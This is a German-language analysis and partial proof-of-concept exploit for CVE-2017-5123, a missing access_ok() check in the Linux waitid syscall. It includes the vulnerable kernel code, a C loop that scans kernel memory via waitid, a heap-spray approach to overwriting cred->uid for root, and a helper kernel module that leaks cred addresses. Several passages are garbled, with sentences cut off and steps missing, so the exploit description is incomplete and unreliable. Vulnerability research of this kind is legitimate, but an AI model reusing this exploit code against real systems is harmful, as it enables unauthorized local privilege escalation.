
Detaillierte technische Analyse und Proof-of-Concept-Exploit für CVE-2017-5123, eine Schwachstelle im Linux-Kernel-Syscall waitid, die eine lokale Privilegienausweitung durch eine fehlende access_ok()-Überprüfung ermöglicht.
Der Systemaufruf waitid im Linux-Kernel validierte die verwendete Zieladresse nicht. Dies könnte es lokalen Benutzern ermöglichen, in den Kernel-Speicher zu schreiben, was zu einer Privilegieneskalation oder einem Sandbox-Escape führen könnte.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // im Wesentlichen ruft stac() auf, deaktiviert SMAP vorübergehend
unsafe_put_user(signo, &infop->si_signo, Efault); // <- fehlender access_ok()-Check vor Aufruf dieser Funktion
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // im Wesentlichen ruft clac() auf, aktiviert SMAP wieder
return err;
Efault:
user_access_end();
return -EFAULT;
}
Der hier identifizierte Fehler ist das Fehlen eines access_ok()-Checks vor dem Aufruf der Funktion unsafe_put_user(). In früheren Kernel-Versionen verwendete das Programm die Funktion put_user(), die sowohl den access_ok()-Check als auch die Schreiboperation beinhaltete.
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
Durch die Verwendung von unsafe_put_user() vermeidet das Programm das mehrfache Ein- und Ausschalten von SMAP innerhalb kurzer Zeit, das durch den Aufruf von user_access_begin() / user_access_end() verursacht wird. Die access_ok()-Funktion prüft hier die Gültigkeit der Adresse ptr. Sie stellt sicher, dass sie zum Userspace-Speicher gehört. Dadurch wird verhindert, dass der Benutzer in den Kernel-Speicher schreibt. Wenn wir also den syscall waitid aufrufen und der Parameter infop eine Kernel-Adresse ist, wird dieser Fehler ausgelöst.
Das Fehlen des access_ok()-Checks erlaubt es uns, eine Kernel-Adresse als Parameter infop von waitid zu übergeben, woraufhin der syscall diese Adresse mit dem Aufruf von unsafe_put_user() überschreibt. Eine Einschränkung hierbei ist, dass wir nicht kontrollieren können, was in die von uns bereitgestellte Kernel-Adresse geschrieben wird. Es gibt 6 Felder, die zum Schreiben verwendet werden: signo, ein Nullbyte, info.cause, info.pid (maximaler Wert = 0x8000), info.uid und info.status (vom Typ int32, aber nur Werte >0, <256). Das nützlichste Feld ist hier wohl das Nullbyte. Wir können es verwenden, um cred->euid und cred->uid zu überschreiben. Dazu müssen wir die Adressen dieser beiden Werte kennen.
Laut kernel.org beginnt der Kernel-space virtual memory, der von allen Prozessen gemeinsam genutzt wird, bei 0xffff800000000000. Allerdings ist der Bereich von 0xffff800000000000 bis 0xffff87ffffffffff ein "... guard hole, also reserved for hypervisor", also beginnen wir das Speicher-Scannen bei der Adresse 0xffff880000000000. Es ist auch zu erwähnen, dass das Scannen möglich ist, weil unsafe_put_user() nicht abstürzt, wenn wir auf ungültige Adressen zugreifen. Dies verhindert, dass "unprivileged users" das System mit ungültigen Adressen zum Abstürzen bringen (DoS).
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Jetzt kennen wir eine Kernel-Heap-Adresse. Als nächstes müssen wir die Adresse der cred-Struktur ermitteln.
Obwohl wir die Heap-Adresse kennen, ist diese möglicherweise nicht der Heap-Start. Daher können wir die genaue Adresse der Cred-Struktur nicht berechnen. Hier verwenden wir eine Technik namens Heap Spray.
geteuid() auf. Wenn geteuid() 0 zurückgibt, läuft der Prozess mit Root-Rechten – Bingo.waitid() auf, nutzt die Schwachstelle, errät die Adresse der cred-Struktur und überschreibt cred->uid mit Null.Das Debuggen, um die Adresse der cred-Struktur der Kindprozesse zu finden, ist zeitaufwändig. Daher verwende ich ein vorhandenes Modul, um die Adresse von cred->euid mittels printk() auszugeben.
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

Ich habe festgestellt, dass es Adressen mit ähnlichen Mustern gibt, selbst nach einem Neustart bleiben die Offsets dieser Adressen ähnlich. Daher habe ich mich entschieden, eine Adresse zu wählen und dann in einer Schleife + pagesize hinzuzufügen, um die Adresse der cred-Struktur zu erraten.

gefundene Heap-Adresse + Offset angegeben. Es wäre notwendig, den Offset kleiner zu machen, um ihn für mehrere Versionen nutzbar zu machen. Dies bedeutet jedoch eine längere Angriffszeit und erhöht die Wahrscheinlichkeit eines Kernel-Panic/Crash, da möglicherweise in andere wichtige Strukturen im Heap geschrieben wird.access_ok()-Check hinzu